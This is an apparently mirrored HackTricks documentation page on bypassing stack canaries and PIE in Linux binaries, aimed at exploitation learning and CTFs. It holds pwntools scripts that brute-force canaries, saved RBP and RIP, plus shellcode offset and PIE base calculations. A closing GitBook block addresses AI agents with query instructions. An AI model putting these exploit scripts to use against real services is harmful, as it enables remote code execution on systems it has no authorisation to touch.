> For the complete documentation index, see [llms.txt](https://breached.gitbook.io/dashboard/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breached.gitbook.io/dashboard/reversing-and-exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md). # Bypassing Canary & PIE

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** ![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(144\).png) {% hint style="info" %} Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ However, you can manually notice this if you find that a value is saved in the stack at the begging of a function call and this value is checked before exiting. {% endhint %} ## Brute force Canary The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): ### Example 1 This example is implemented for 64bits but could be easily implemented for 32 bits. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Example 2 This is implemented for 32 bits, but this could be easily changed to 64bits.\ Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## Print Canary Another way to bypass the canary is to **print it**.\ Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session) Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\ CTF example: ## PIE In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: ```python print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` ### Get base address The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string *"/bin/sh\x00"* inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: ```python INI_SHELLCODE = RBP - 1152 ``` From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: ![](https://github.com/nirugima/hacktricks/blob/main/.gitbook/assets/image%20\(145\).png) In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked \_0x562002970**ecf** \_ the base address is *0x562002970**000*** ```python elf.address = RIP - (RIP & 0xfff) ```

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://breached.gitbook.io/dashboard/reversing-and-exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.